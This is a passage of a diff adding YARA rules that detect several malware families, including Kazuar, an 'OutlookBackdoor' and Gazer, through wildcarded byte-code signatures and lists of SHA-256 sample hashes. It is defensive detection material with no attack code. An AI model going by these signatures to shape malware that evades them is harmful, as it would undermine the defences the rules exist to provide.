+		$block_65 = { 8B ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+		$block_66 = { 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_67 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_68 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? 3B ?? 0F 85 }
+		$block_69 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_70 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_71 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_72 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_74 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_75 = { C1 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 86 }
+		$block_76 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_77 = { 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_78 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_79 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_80 = { 5? A1 ?? ?? ?? ?? 8B ?? ?? FF D? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_81 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_82 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_83 = { 4? C1 ?? ?? 8D ?? ?? ?? 0F B7 ?? 33 ?? 66 ?? ?? 0F 83 }
+		$block_84 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_85 = { 4? 0F B7 ?? 0F B7 ?? 0F B7 ?? ?? ?? BA ?? ?? ?? ?? 8D }
+		$block_86 = { 0F B7 ?? 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 66 ?? ?? 73 }
+		$block_87 = { 8B ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 82 }
+		$block_88 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_89 = { 0F B6 ?? 83 ?? ?? C1 ?? ?? 4? 0F AF ?? 4? 85 ?? 75 }
+		$block_90 = { 83 ?? ?? 5? 8B ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_91 = { 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_92 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 4? 99 2B ?? D1 ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_94 = { 4? 0F B7 ?? 0F B7 ?? C1 ?? ?? 33 ?? 85 ?? 0F 8E }
+		$block_95 = { 8B ?? ?? ?? ?? ?? ?? 0F BF ?? 66 ?? ?? ?? ?? 77 }
+		$block_96 = { 8D ?? ?? ?? ?? ?? ?? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_97 = { 8B ?? ?? ?? D1 ?? 8D ?? ?? ?? 8B ?? 3B ?? 0F 83 }
+		$block_98 = { C6 ?? ?? ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$block_99 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "df5cc17e0efb2e4c2a85494a1f60672f3191820ef2caea81bcb031970c3f412e" or
+		hash.sha256(0, filesize) == "1cc5a57c19dc68342d1676fe759ab509df3eeff797cdbbf43e3c16c305ab162c" or
+		hash.sha256(0, filesize) == "a59222bf08fb3ef323b813c4f884b995c8831210d7f947f6d8778d587ce76045" or
+		hash.sha256(0, filesize) == "fe73c1b35c624fb62c24fcd8c251723337eed4bbc8fa8bc12d2df621e8908604" or
+		hash.sha256(0, filesize) == "80ed95992ad658a48480a895b1d07bd786bbdabc04e91c060896e3a06647c191" or
+		hash.sha256(0, filesize) == "63658c331ac38322935d6dcde8bd892aa99084a0cea91bbef3b7789b02bf8d0e" or
+		hash.sha256(0, filesize) == "03479db12f2d1948193ee22cbea216705d5f3dba6416c5d1e2b3aab3f269d4c1" or
+		hash.sha256(0, filesize) == "303de69b0bc23556fc5dd63a184e5f59556b72fa1f6e3967584f4f18e2a604ec" or
+		hash.sha256(0, filesize) == "05dc66031e4276bc20010743d8cd0ee36e4064cf087b6b4617fefb86a4702873" or
+		hash.sha256(0, filesize) == "bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1" or
+		hash.sha256(0, filesize) == "cf5e73c4517c8547732f01a6fd614f9ad1aa628b9fc6a82d3b2f222f7b2a0433" or
+		hash.sha256(0, filesize) == "cb993d5b90d9a5bd569177ee60e71e3b4639019f46ddd2a9fb8e890565335f66" or
+		hash.sha256(0, filesize) == "9e9fbc3085a126405185e7e028889a39640e3c924d2384b2428454fd475a1860" or
+		hash.sha256(0, filesize) == "fd3829e670125d22c74ce0c989808f6bb1da32e4645d6ae3de672678d2060101" or
+		hash.sha256(0, filesize) == "c0de0fec34da3e9ca92c47bfadf723ab75c90fe02ceb3455d74155badfcb3380" or
+		hash.sha256(0, filesize) == "6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4" or
+		hash.sha256(0, filesize) == "d49f2aa4db1972b5e6a9ab81a1fb28eb43cf5c2a714a5d6caddd91fcbfc2e332" or
+		hash.sha256(0, filesize) == "89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea" or
+		hash.sha256(0, filesize) == "3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2" or
+		hash.sha256(0, filesize) == "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96" or
+		hash.sha256(0, filesize) == "529d08b500a7687bb973c757fbfbc2c2790fbee52f060ca0575b8caf57ab0bf1" or
+		hash.sha256(0, filesize) == "d401aec6175aa34c773dee269cb881d00a8868b75a8fd6437d3b86cc2db8180d" or
+		hash.sha256(0, filesize) == "15580d72045b0806d99cde386e42bf3f078746c4194b0932efc6fcdb9104898d" or
+		hash.sha256(0, filesize) == "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e" or
+		hash.sha256(0, filesize) == "636106ef35adeddfb60763b0316d67d11ef6845fcc6879adc23465cb20ed97c5" or
+		hash.sha256(0, filesize) == "7c08e72dc458191de61d5245ecfdc9e6b7c1f1f0ad8e4a7c04ab114503f88114" or
+		hash.sha256(0, filesize) == "730b196431d4953cd5e3c4468637429a05b350f7d508c3ec0a982bec4c60d5ab" or
+		hash.sha256(0, filesize) == "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49" or
+		hash.sha256(0, filesize) == "69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548" or
+		hash.sha256(0, filesize) == "211ebdbf5821f69f40bc8d37c1bd7c52e6cae42126d48ffbcb09c046054ae2d1" or
+		hash.sha256(0, filesize) == "0e3f899dcb2328fa8b2be2c4fcc3fbe5f62d0f8728f23e306ebec1c4c94c9180" or
+		12 of them
+}
+
+rule Kazuar {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? FF D? 83 ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 4? C7 ?? ?? ?? ?? ?? ?? ?? 4? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 8D ?? ?? ?? ?? ?? 4? 8D ?? ?? ?? 4? 89 ?? E8 ?? ?? ?? ?? 4? 8D ?? ?? ?? ?? ?? 4? 89 ?? E8 ?? ?? ?? ?? 31 ?? 4? 89 ?? ?? ?? 4? 89 ?? ?? ?? 4? 89 ?? 4? 31 ?? 4? FF D? 3D ?? ?? ?? ?? 89 ?? 0F 85 }
+		$block_2 = { 8B ?? ?? 4? 01 ?? 4? 01 ?? 0F B7 ?? ?? 8B ?? ?? 4? 8D ?? ?? 8B ?? ?? 4? 01 ?? EB }
+		$block_3 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 5? 5? 0F 94 }
+		$block_4 = { E8 ?? ?? ?? ?? 0F BE ?? 4? FF C? 4? 31 ?? 4? 69 ?? ?? ?? ?? ?? EB }
+		$block_5 = { E8 ?? ?? ?? ?? 0F B7 ?? 4? FF C? 4? 31 ?? 4? 69 ?? ?? ?? ?? ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "49e0356272b9f8a30ec24a6e271f94e11668d7a48704bb9aed64f61b4b9b343c" or
+		hash.sha256(0, filesize) == "743b3347dc86b4a4aa6510648076eeca9eec0ff23c1294b3931263c990bcb5e6" or
+		6 of them
+}
+
+rule OutlookBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 8B ?? C6 ?? ?? C1 ?? ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 4? 83 ?? ?? 8A ?? ?? ?? ?? ?? EB }
+		$block_1 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 39 ?? ?? ?? 0F 84 }
+		$block_2 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? ?? 5? 5? 0F B7 ?? 5? 66 ?? ?? 0F 84 }
+		$block_3 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_4 = { 5? 83 ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 5? F7 ?? 5? 1B ?? 23 ?? ?? 5? 8B ?? 75 }
+		$block_6 = { 5? FF 1? ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_7 = { 8B ?? 8D ?? ?? ?? 5? 33 ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? 8B ?? 5? FF 5? ?? 39 ?? ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_9 = { FF 7? ?? 8B ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 33 ?? BF ?? ?? ?? ?? AB AB AB 83 ?? ?? AB 33 }
+		$block_10 = { 68 ?? ?? ?? ?? FF 7? ?? FF D? 83 ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 6A ?? FF D? 83 ?? ?? 0F 85 }
+		$block_11 = { 5? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_12 = { 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_13 = { 8D ?? ?? 5? 88 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_14 = { 0F B6 ?? ?? C1 ?? ?? 0B ?? 8A ?? ?? ?? ?? ?? 88 ?? 4? FF 4? ?? 80 E? ?? C0 ?? ?? EB }
+		$block_15 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_16 = { 6A ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_17 = { 5? 33 ?? 33 ?? 38 ?? ?? 5? 0F 94 ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 38 ?? ?? 75 }
+		$block_18 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 83 ?? ?? C9 C2 }
+		$block_19 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? C9 C2 }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A5 A4 33 ?? 5? 89 ?? ?? 5? }
+		$block_21 = { 0F B6 ?? ?? 8B ?? C1 ?? ?? 0B ?? 8A ?? ?? ?? ?? ?? 88 ?? 4? FF 4? ?? 3B ?? ?? 73 }
+		$block_22 = { 8D ?? ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 85 }
+		$block_23 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_24 = { 0F B7 ?? 8B ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? C1 ?? ?? 66 ?? ?? 4? 4? 4? 0F B7 ?? 75 }
+		$block_25 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 4? 5? 5? 5? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 9? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_28 = { 8B ?? ?? ?? 8B ?? 6A ?? FF 1? 8B ?? FF 4? ?? ?? 8B ?? FF 5? ?? 39 ?? ?? ?? 0F 82 }
+		$block_29 = { 01 ?? ?? ?? 8B ?? ?? ?? 0F B6 ?? 8B ?? 29 ?? ?? ?? 5? 8B ?? FF 5? ?? 84 ?? 74 }
+		$block_30 = { 6A ?? 5? 5? FF 7? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 2B ?? ?? ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? 0F B6 ?? ?? 33 ?? 5? 4? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B }
+		$block_32 = { 89 ?? ?? ?? 8D ?? ?? 99 6A ?? 5? F7 ?? 8B ?? ?? ?? 8D ?? ?? C1 ?? ?? 3B ?? 7E }
+		$block_33 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_34 = { 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_35 = { 6A ?? 5? 2B ?? 8B ?? ?? 2B ?? 01 ?? ?? C6 ?? ?? 83 ?? ?? 4? 39 ?? ?? 0F 8D }
+		$block_36 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 33 ?? 83 ?? ?? ?? 89 ?? ?? 0F 85 }
+		$block_37 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? 5? 0F B7 ?? C1 ?? ?? 5? 0B ?? 5? C3 }
+		$block_38 = { 88 ?? 83 ?? ?? 6A ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_39 = { 8D ?? ?? ?? ?? ?? 5? 33 ?? E8 ?? ?? ?? ?? 66 ?? 0F B7 ?? 66 ?? ?? ?? 5? 7E }
+		$block_40 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 5? 8D ?? ?? 5? 5? 89 ?? ?? FF D? 85 ?? 0F 85 }
+		$block_41 = { 5? 8B ?? 5? 8B ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_42 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_43 = { 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? ?? 0F B7 ?? C1 ?? ?? 0B ?? C9 C3 }
+		$block_44 = { 8B ?? ?? 8A ?? ?? ?? 88 ?? ?? 0F BE ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 74 }
+		$block_45 = { 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_46 = { 0F 94 ?? 22 ?? 88 ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? BB ?? ?? ?? ?? EB }
+		$block_47 = { 89 ?? ?? ?? 8D ?? ?? 99 6A ?? 5? F7 ?? 8D ?? ?? C1 ?? ?? 3B ?? 7E }
+		$block_48 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_49 = { 8B ?? ?? 33 ?? 4? D3 ?? 8B ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_50 = { FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_51 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_52 = { A1 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 6A ?? 99 5? F7 ?? 85 ?? 0F 86 }
+		$block_53 = { 8B ?? 83 ?? ?? 6A ?? 99 5? 2B ?? F7 ?? 4? 0F AF ?? 03 ?? 5? }
+		$block_54 = { 33 ?? 4? D3 ?? 8B ?? ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_55 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_56 = { E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_57 = { 8B ?? ?? 8A ?? ?? 99 6A ?? 5? F7 ?? 0F B6 ?? 83 ?? ?? 74 }
+		$block_58 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_59 = { 5? 8B ?? 83 ?? ?? 0F B7 ?? 5? 33 ?? 5? 8B ?? 66 ?? ?? 74 }
+		$block_60 = { 8B ?? ?? 83 ?? ?? 6A ?? C1 ?? ?? 5? 89 ?? ?? 3B ?? 0F 86 }
+		$block_61 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_62 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? FF 5? ?? 3B ?? 0F 85 }
+		$block_63 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 84 }
+		$block_64 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_65 = { FF 4? ?? ?? FF 4? ?? ?? FF 4? ?? ?? 39 ?? ?? ?? 0F 8F }
+		$block_66 = { 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? 83 ?? ?? C9 C3 }
+		$block_67 = { 8B ?? ?? ?? 03 ?? 89 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 83 }
+		$block_68 = { 80 7? ?? ?? 0F 94 ?? 83 ?? ?? ?? 22 ?? 8A ?? 3C ?? 75 }
+		$block_69 = { 8B ?? ?? 5? 33 ?? 5? 4? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_70 = { 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? 83 ?? ?? C9 C2 }
+		$block_71 = { 4? C1 ?? ?? 8D ?? ?? ?? 0F B7 ?? 33 ?? 66 ?? ?? 0F 83 }
+		$block_72 = { 8B ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? F3 ?? 5? 5? C9 C3 }
+		$block_73 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_74 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? 5? 83 ?? ?? 0F 84 }
+		$block_75 = { 8B ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? C9 C3 }
+		$block_76 = { 8B ?? ?? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_77 = { 8B ?? ?? 8B ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_78 = { 8B ?? ?? 5? 5? 33 ?? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_79 = { 8B ?? ?? 5? 5? 8B ?? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_80 = { 8B ?? ?? 5? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_81 = { 5? 5? 0F B6 ?? ?? ?? 8D ?? ?? 25 ?? ?? ?? ?? 5? 79 }
+		$block_82 = { 8B ?? ?? 5? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_83 = { 8B ?? ?? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_84 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_85 = { 8B ?? ?? 8B ?? 8B ?? 89 ?? ?? FF 5? ?? 85 ?? 0F 86 }
+		$block_86 = { 83 ?? ?? ?? 80 3? ?? 0F 94 ?? ?? 80 7? ?? ?? 74 }
+		$block_87 = { 8B ?? ?? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_88 = { 8B ?? ?? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_89 = { 0F B6 ?? ?? 8B ?? 5? 8B ?? FF 5? ?? 84 ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 89 ?? 5? C9 C3 }
+		$block_91 = { 4? 99 2B ?? D1 ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_92 = { 8B ?? E8 ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 86 }
+		$block_93 = { 8B ?? ?? ?? 8B ?? 5? FF 5? ?? 39 ?? ?? ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "863f298f367a82853a58f9dad4c477956f48fdd9328a93e1aeee1df22da80493" or
+		hash.sha256(0, filesize) == "f1998b3c322e35006b6a6ba1c23807a3f9bc8058ee50efea059278a06fa4a4eb" or
+		25 of them
+}
+
+rule Gazer {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 68 ?? ?? ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 85 }
+		$block_1 = { 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_2 = { FF 3? ?? ?? ?? ?? 21 ?? ?? ?? 21 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 86 }
+		$block_3 = { 5? 8D ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { FF 3? ?? ?? ?? ?? FF 4? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 39 ?? ?? ?? ?? ?? 0F 86 }
+		$block_5 = { 8B ?? ?? 5? 5? 83 ?? ?? 5? 5? 6A ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8B ?? 6A ?? 5? 5? FF 5? ?? 8B ?? 8B ?? ?? 8B ?? 5? FF 5? ?? FF 5? ?? 3B ?? 0F 8C }
+		$block_7 = { FF 7? ?? FF D? 01 ?? ?? FF 4? ?? 0F BF ?? ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? 5? }
+		$block_8 = { 6A ?? 5? 66 ?? ?? ?? 8D ?? ?? ?? 5? 5? 6A ?? C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_9 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_10 = { 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_11 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 8D ?? ?? 5? FF 7? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? FF 4? ?? ?? 8B ?? ?? ?? ?? ?? 4? 33 ?? F7 ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 82 }
+		$block_14 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_15 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? 8B ?? 8B ?? ?? 8B ?? 5? FF 5? ?? 3B ?? 0F 8C }
+		$block_16 = { E8 ?? ?? ?? ?? FF 7? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_17 = { 6A ?? 5? 01 ?? ?? 01 ?? ?? 01 ?? ?? 01 ?? ?? 0F B7 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_19 = { 6A ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
